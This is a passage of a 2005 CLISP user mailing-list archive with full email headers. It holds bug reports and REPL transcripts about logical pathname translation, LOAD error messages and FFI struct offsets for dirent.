(65.78.20.170) by smtp04.mrf.mail.rcn.net with ESMTP; 25 Apr 2005 12:05:46 -0400 X-IronPort-AV: i="3.92,128,1112587200"; d="scan'208"; a="26419512:sNHT22335784" Received: by loiso.podval.org (Postfix, from userid 500) id B779221E11B; Mon, 25 Apr 2005 12:05:45 -0400 (EDT) To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: woe32 pretest: clisp 2.33.82 Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <426CDA65.4E5DCBA6@freenet.de> (lin's message of "Mon, 25 Apr 2005 13:54:13 +0200") References: <4233A995.D6CE7A9@freenet.de> <423A0158.300ED526@freenet.de> <423AAC4E.2AA27570@freenet.de> <423DC721.47195F9B@freenet.de> <426CDA65.4E5DCBA6@freenet.de> Mail-Followup-To: lin8080 , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO -0.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 25 09:07:01 2005 X-Original-Date: Mon, 25 Apr 2005 12:05:45 -0400 > * lin8080 [2005-04-25 13:54:13 +0200]: > > which one points to > ... \All Users\Start Menu\Programs? > -------------------------------------- > Programs is none, the language is german, the german-name is Programme.=20 > Searching for Programme many entries were found, no clisp.exe, > searching for clisp.exe, nothig was found, > searching for programs nothing was found. > > When you want, I can send you the user.dat and system.dat, is a 751.447- > zipfile, so with regedit.exe you can see. > --------------------------------------- > HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer/Shel > l Folders > > (Standart) (Wert nicht gesetzt) > Common AppData C:\windows\All Users\Anwendungsdaten > Common Desktop C:\windows\All Users\Desktop > Common Startup C:\windows\all Users\Startmen=C3=BC\Programme\Autostart > > The folders in "c:\windows\all users" are all empty. it appears that your system is misconfigured. > (to make a perfect setup.exe, have a look at WinZip.exe or > IrfanView.exe. Both do file-addings to registry and are very quick.) do you have a patch? --=20 Sam Steingold (http://www.podval.org/~sds) running FC3 GNU/Linux My inferiority complex is the only thing I can be proud of. From pjb@informatimago.com Mon Apr 25 17:52:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQEJm-0002i0-8H for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 17:52:50 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DQEJS-0003TW-NN for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 17:52:50 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 2145458344; Tue, 26 Apr 2005 02:52:25 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D892F582FA; Tue, 26 Apr 2005 02:52:22 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A08C310FBF3; Tue, 26 Apr 2005 02:52:22 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17005.37062.560417.518759@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Sam Steingold Subject: [clisp-list] Re: pathname translation with 2.33.83 ? In-Reply-To: References: <20050422150618.BD04B10FBF3@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.6 required=5.0 tests=AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=no version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 25 17:53:38 2005 X-Original-Date: Tue, 26 Apr 2005 02:52:22 +0200 Ok, stranger. When I first set (logical-pathname-translations "PACKAGE"), translate-logical-pathname doesn't work, but when I reset (logical-pathname-translations "PACKAGE") with it's own "self-mangled" value, it works. Ie. setting logical-pathname-translations with pathnames made with MERGE-PATHNAMES makes the bug appear, but setting it with #P paths doesn't. ------------------------------------------------------------------------ [7]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" (merge-pathnames "**/*.*" "/ex/")))) ((#P"EX:**;*.*" #P"/ex/**/*.*")) [8]> (translate-logical-pathname "EX:A;B;C") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "a" "b") "c" NIL NIL) do not fit into #P"/ex/**/*.*" The following restarts are available: ABORT :R1 ABORT Break 1 [9]> :a [10]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" "/ex/**/*.*"))) ((#P"EX:**;*.*" "/ex/**/*.*")) [11]> (translate-logical-pathname "EX:A;B;C") #P"/ex/a/b/c" [12]> (merge-pathnames "**/*.*" "/ex/") #P"/ex/**/*.*" [13]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" #P"/ex/**/*.*"))) ((#P"EX:**;*.*" #P"/ex/**/*.*")) [14]> (translate-logical-pathname "EX:A;B;C") #P"/ex/a/b/c" [15]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" (merge-pathnames "**/*.*" "/ex/")))) ((#P"EX:**;*.*" #P"/ex/**/*.*")) [16]> (translate-logical-pathname "EX:A;B;C") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "a" "b") "c" NIL NIL) do not fit into #P"/ex/**/*.*" The following restarts are available: ABORT :R1 ABORT Break 1 [17]> :a [18]> (setf (logical-pathname-translations "EX")(list (list "EX:**;*.*" (make-pathname :directory '(:absolute "ex" :wild-inferiors) :name :wild :type :wild)))) ((#P"EX:**;*.*" #P"/ex/**/*.*")) [19]> (translate-logical-pathname "EX:A;B;C") #P"/ex/a/b/c" ------------------------------------------------------------------------ So the problem seems to lie in MERGE-PATHNAMES in 2.33.83 (it worked in 2.33.2). ------------------------------------------------------------------------ [pjb@thalassa bellerophon]$ $BASE/bin/clisp -norc -ansi -q -K full -m 32M -I -E ISO-8859-1 -Eterminal UTF-8 -x '(load "test.lisp")' [1]> ;; Loading file test.lisp ... LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.83 (2005-03-14) (built 3323445155) (memory 3323446250)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" (("PACKAGES:**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*") ("PACKAGES:**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*")) ((#P"PACKAGES:**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*") ("PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*.*") ("PACKAGES:NET;COMON-LISP;UCW;**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*")) (TRANSLATE-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE" "PACKAGES:**;*.*" "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*") --> #P"/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package" (TRANSLATE-LOGICAL-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE") --> TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "com" "informatimago" "common-lisp") "package" NIL NIL) do not fit into #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; HERE IT DOESN'T WORK. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NIL (EVAL (READ-FROM-STRING (WRITE-TO-STRING `(SETF (LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES") ',(LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES"))))) --> ((#P"PACKAGES:**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*.*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; WE RESET TO THE SAME (theorically; logical pathname strings are now #P paths). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (TRANSLATE-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE" "PACKAGES:**;*.*" "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*") --> #P"/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package" (TRANSLATE-LOGICAL-PATHNAME "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE") --> #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/com/informatimago/common-lisp/package" ;; Loaded file test.lisp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; NOW IT WORKS! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; T [pjb@thalassa bellerophon]$ cat test.lisp (setf (getenv "BASE") "/home/pjb/src/lisp/encours/bellerophon/install") (defun print-bug-report-info () (format t "~2%~{~28A ~S~%~}~2%" (list "LISP-IMPLEMENTATION-TYPE" (lisp-implementation-type) "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version) "SOFTWARE-TYPE" (software-type) "SOFTWARE-VERSION" (software-version) "MACHINE-INSTANCE" (machine-instance) "MACHINE-TYPE" (machine-type) "MACHINE-VERSION" (machine-version)))) (print-bug-report-info) (LET ((BASE (MAKE-PATHNAME :DIRECTORY (PATHNAME-DIRECTORY (if (getenv "BASE") (CONCATENATE 'STRING (GETENV "BASE") "/") *LOAD-PATHNAME*))))) (FLET ((MP (SUB) (MERGE-PATHNAMES SUB BASE)) (concat (&rest args) (apply (function concatenate) 'string args))) ((LAMBDA (&REST SPECS) (DOLIST (SPEC SPECS) (SETF (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC)) (print (NCONC (HANDLER-CASE (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC)) (ERROR () NIL)) (MAPCAR (LAMBDA (REST) (if (consp rest) (LIST (concat (SECOND SPEC) (first REST)) (MP (concat (THIRD SPEC) (second REST)))) (LIST (concat (SECOND SPEC) REST) (MP (concat (THIRD SPEC) REST))))) #+CLISP '("*.*" "*") #+sbcl '(("*.*.*" "*.*") "*.*" "*") #-(OR CLISP sbcl) '("*" "*.*" ("*.*.*" "*.*")) )))))) '("PACKAGES" "PACKAGES:**;" "install/share/lisp/packages/**/") '("PACKAGES" "PACKAGES:NET;COMON-LISP;UCW;**;" "install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/")))) (defmacro handling-errors (&body body) `(HANDLER-CASE (progn ,@body) (simple-condition (ERR) (format *error-output* "~&") (apply (function format) *error-output* (simple-condition-format-control err) (simple-condition-format-arguments err)) (format *error-output* "~&")) (condition (ERR) (format *error-output* "~&condition: ~S~%" err)))) (defmacro try (&body body) `(progn (format t "~3%~{~S~%~}-->" ',body) (print (handling-errors ,@body)))) (try (translate-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE" "PACKAGES:**;*.*" "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*")) (try (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE")) (try (eval (read-from-string (write-to-string `(SETF (LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES") (quote ,(LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES"))))))) (try (translate-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE" "PACKAGES:**;*.*" "/local/users/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/**/*.*")) (try (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE")) [pjb@thalassa bellerophon]$ -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pjb@informatimago.com Mon Apr 25 18:16:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQEgz-0003j6-FG for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 18:16:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DQEgx-0007ZA-Q2 for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 18:16:49 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 03DBE5833D; Tue, 26 Apr 2005 03:16:39 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A023C582FA; Tue, 26 Apr 2005 03:16:37 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 84D4D10FBF3; Tue, 26 Apr 2005 03:16:37 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050426011637.84D4D10FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.6 required=5.0 tests=AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] suggestion: load with logical pathname to a non-existant file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 25 18:17:55 2005 X-Original-Date: Tue, 26 Apr 2005 03:16:37 +0200 (CEST) When there's not physical file corresponding to a logical pathname given to LOAD, LOAD tries to consider the logical pathname as a physical pathname, appends a "/" (why?) and this gives a misleading error message: [2]> (LOAD "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") *** - PARSE-NAMESTRING: syntax error in filename "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP/" at position 51 The following restarts are available: ABORT :R1 ABORT Break 1 [3]> :a If LOAD could give a "file does not exist" error message in such a case, as in: [4]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp" [5]> (load (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")) *** - LOAD: A file with name /home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp does not exist The following restarts are available: ABORT :R1 ABORT Break 1 [6]> :a [7]> it would be more user friendly. -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From pjb@informatimago.com Mon Apr 25 18:23:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQEn0-00043u-Nl for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 18:23:02 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DQEmz-0005kT-Ol for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 18:23:02 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 3A7B35833D; Tue, 26 Apr 2005 03:22:57 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1D111582FA; Tue, 26 Apr 2005 03:22:56 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4E96E10FBF3; Tue, 26 Apr 2005 03:22:55 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050426012255.4E96E10FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.5 required=5.0 tests=AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=no version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] bug: load with logical pathname to an existing file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 25 18:24:11 2005 X-Original-Date: Tue, 26 Apr 2005 03:22:55 +0200 (CEST) When there's is a physical file corresponding to a logical pathname given to LOAD, LOAD still appends a "/" (why?) and this gives an erroneous error message: [1]> (SETF (LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES") '((#P"PACKAGES:**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*.*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*"))) [2]> (LOAD "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") *** - PARSE-NAMESTRING: syntax error in filename "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP/" at position 51 The following restarts are available: ABORT :R1 ABORT Break 1 [3]> :a [4]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") #P"/home/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp" [5]> (open (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") :direction :probe) # [6]> (open "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP" :direction :probe) # [7]> (load (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")) ;; Loading file /home/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp ... ;; Loaded file /home/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp T [8]> -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 27 00:52:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQhLi-0006xX-Nh for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 00:52:46 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DQhLe-0007Ie-Ug for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 00:52:46 -0700 Received: from g8pbq.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 27 Apr 2005 09:52:28 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Apr 2005 09:50:40 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03040835DA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: [clisp-list] Re: ffi:c-ptr / ffi:c-ptr-null have strictly no effe ct? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 00:54:56 2005 X-Original-Date: Wed, 27 Apr 2005 09:50:38 +0200 Hi, [summary so far: on Pascal's x86 machine, CLISP gets a slot offset into a structure wrong] Here's what a Suse Linux 8.[01] machine says: struct dirent { [...] unsigned short int d_reclen; unsigned char d_type; char d_name[256]; /* We must not include limits.h! */ } Pascal J.Bourguignon wrote: >[pjb@thalassa pjb]$ ./print-c-sizes > (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) >(:name . 11)) That seems correct and matches the Suse Linux box here as well as my expectations about alignment of character/int8-based data on x86. > [54]> (mapcar (lambda (slot) > (ffi:with-c-var (d 'linux:dirent) > (- (ffi:foreign-address-unsigned > (ffi:c-var-address (ffi:slot d slot))) > (ffi:foreign-address-unsigned > (ffi:c-var-address d))))) > '(linux::d_ino linux::d_off linux::d_reclen > linux::d_type linux::d_name)) > (0 4 8 10 12) Something is wrong on your machine. (0 4 8 10 11) is what my machine says. I would appreciate if you could narrow this down a bit. For example, on my machine: (sizeof '(c-struct (foo list) (l uint8) (n (c-array-max character 3))) ) 4 ; 1 and (ffi:sizeof 'ffi:uchar) -> 1 ; 1 which meets, again, my expectations. FFI:SIZEOF reports (VALUES size alignment). They directly come from the C compiler/preprocessor: sizeof() and alignof() operators. The latter is lesser known and could by buggy. C-STRUCT offsets depend on a working alignof(). There are only very few tests of ffi:sizeof in the CLISP testsuite for the evident reason that it's highly machine dependent. But I could happily add one like c-struct character,(array character 3) -> 4;1 or at least (sizeof (array character 3) -> (* 3 (sizeof character)) UNLESS somebody tolds me that even that cannot be expected on all machines (or at least those that clisp works on)! Sam wrote: >how about this? >- (d_name (c-array-max character #.(cl:+ NAME_MAX 1))) >-) >+ (d_name c-string)) I would not dare to suggest such a change. Changing character bytes to a pointer to them is like a guarantee to crash. man readdir() says: : According to POSIX, the dirent structure contains a field : char d_name[] of unspecified size, with at most NAME_MAX : characters preceding the terminating null character. Therefore, the definition I see in modules/bindings/glibc/linux.lisp is right: (def-c-struct dirent [...] (d_type uchar) (d_name (c-array-max character #.(cl:+ NAME_MAX 1))) ) Changing that to c-string would be a waste of time. What I mean is that just by reading the documentation, you know that c-string (that's a pointer) would be wrong. You need not waste your time and try it out. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 27 01:24:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 